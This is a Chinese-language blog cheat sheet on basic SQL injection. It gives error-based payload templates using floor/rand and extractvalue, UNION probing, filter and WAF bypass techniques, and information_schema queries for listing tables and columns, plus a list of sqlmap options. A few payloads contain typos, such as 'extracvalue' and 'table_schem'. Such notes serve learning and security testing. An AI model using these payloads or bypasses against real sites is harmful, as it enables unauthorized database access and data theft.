【Web】sql注入知识点整理(基础版)

sql注入知识点整理(基础版)

基本步骤

  1. 判断是否报错
  2. 判断闭合符号
  3. 判断注入类型
  4. 构建payload
  5. 手工注入或者编写脚本

基本注入类型

  • 报错型注入
    • floor公式(结果多出一个1):and (select 1 from (select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)
    • extractvalue公式(首尾各有一个波浪号):and extracvalue(1,concat(0x7e,(payload),0x7e)
  • 布尔型注入
  • 联合查询语句
    • 回显点查询:UNION SELECT 1,2,3;
  • 延时注入

其他注入技巧

  • HPP绕过WAF
  • 宽字节注入绕过引号过滤
  • CHAR函数绕过引号过滤
  • ||与&&绕过and和or的过滤
  • 分割字符绕过一次字符串过滤
  • 二次注入
  • Linux特殊字符绕过空格过滤
  • 括号法绕过空格过滤

常用SQL语句与函数

  • 取子字符串:mid(string, start, length)
  • 取子字符串:left(string, length)
  • 取ASCII:ascii(char)
  • 查询当前数据库:database()
  • 查询当前用户:user()
  • 当前数据库版本:@@version
  • 数据库文件路径:@@datadir
  • 爆表:select table_name from information_schema.tables where table_schema='database'
  • 爆库:select column_name from information_schema.columns where table_schem='database' and table_name='table'
  • 字符串连接:concat()
  • 字符串按组输出:group_concat()
  • 按照分隔符连接:concat_ws(char,...)
  • 字段数猜解:ORDER BY x

sqlmap使用基础

  • -u指定url
  • -p指定参数
  • -D指定数据库
  • -T指定表
  • -C指定字段
  • --current-db当前数据库
  • --current-user当前用户
  • --dbs查询所有数据库
  • --tables查询所有表
  • --columns查询所有字段名
  • --dump查询记录
  • --techniques X(X=B布尔型,E报错型,U联合注入型,T延迟型):指定注入类型

注意点

  • 一些特殊符号需要编码,如&
  • +在GET参数中会变成空格
 
原文地址:https://www.cnblogs.com/tiumo/p/11222154.html